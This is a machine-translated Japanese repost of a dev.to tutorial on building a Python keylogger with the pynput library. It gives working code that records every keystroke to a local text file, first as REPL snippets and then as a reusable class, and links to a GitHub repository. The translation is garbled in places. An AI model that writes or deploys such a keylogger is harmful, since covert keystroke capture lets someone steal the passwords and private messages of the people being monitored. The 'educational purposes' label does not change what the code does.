5分でPythonキーロガー
9656 ワード
どうやって始まったの?
それはPyconTanzania , サイバーセキュリティについての話がありました、そして、それに沿って、我々は我々自身の単純なキーロガーをPythonで作りました.
イントロ
これは非常に基本的なプロジェクトです、そして、あなたはそれをうまく構築するためにPythonで有能である必要はありません、始めましょう!
キーロガーを構築するには、キーボード上のすべてのキーを追跡する方法を必要とする、そこから
インストール
pip install pynput
キーロガーの構築
キーストロークを追跡するには、リスナー関数を実装しなければなりません.
>>> from pynput import keyboard
>>> def on_press(key):
... print(key)
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> h'h'
v'v'
Key.ctrl
'v'
Key.cmd
Key.ctrl
Key.shift
我々がコードのわずか数行で見ることができるように、私たちは、押されたキーを追跡して、我々のREPLターミナルでそれを出力するキーロガーを実装することができましたそれで、我々が今しなければならないことは我々のキーストロークをREPLに印刷する代わりに新しいファイルを開くことです
>>> from pynput import keyboard
>>> def on_press(key):
... with open('keylogs.txt', 'a') as logs:
... logs.write(str(key))
...
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> hellodam testing
現在のディレクトリを見て、キーログという名前の新しいファイルが表示されます.ちょうどそれ以下のように新しいTrackキーでTXT;❯ cat keylogs.txt
Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%
私たちのフォーマットされたコードがどのように見えるかは、ここにありますfrom pynput import keyboard
class KeyLogger():
def __init__(self, filename: str = "keylogs.txt") -> None:
self.filename = filename
@staticmethod
def get_char(key):
try:
return key.char
except AttributeError:
return str(key)
def on_press(self, key):
print(key)
with open(self.filename, 'a') as logs:
logs.write(self.get_char(key))
def main(self):
listener = keyboard.Listener(
on_press=self.on_press,
)
listener.start()
if __name__ == '__main__':
logger = KeyLogger()
logger.main()
input()
終わりました
あなたがちょうどあなたの仲間仲間に叫ぶパイソンでキーロガーを作る方法を学びました
また、私と接続することができます
私も私の記事を書くpersonal blog
カレブ / Pythonのキーロガー
Pythonで作られたキーボードストロークを正確に追跡する最小のキーロガー
Pythonのキーロガー
Pythonで作られたキーボードストロークを正確に追跡する最小のキーロガー
イメージバイMarkus Spiske からPixabay
はじめましょう!
クローンをダウンロードし、[リポジトリ=]をクリックして、プロジェクトにコマンドを起動します.Pyスクリプトとkeyloggerはあなたが書くすべてのキーストロークにスパイアップする必要があります
Gitクローンhttps://github.com/Kalebu/python-keylogger
Pythonのロガー
Pythonアプリケーション.パイ
キーログ.txt
Keyloggerは、プロジェクトディレクトリに新しいファイルを自動的に開き、あなたのキーを保存し、ファイル名を変更するか、ログを保存するディレクトリを開き、スクリプトを開き、以下のようにスクリプトの一番下にファイル名を調整します
唐辛子としたら
ロガー= keylogger (ファイル名=ログファイルへのパス)
ロガー.main ()
input ()
教育目的のために!
スクリプト自体が伝えます.
View on GitHub
Reference
この問題について(5分でPythonキーロガー), 我々は、より多くの情報をここで見つけました
https://dev.to/kalebu/python-keylogger-in-5-minutes-3ch8
テキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol
Reference
この問題について(5分でPythonキーロガー), 我々は、より多くの情報をここで見つけました https://dev.to/kalebu/python-keylogger-in-5-minutes-3ch8テキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol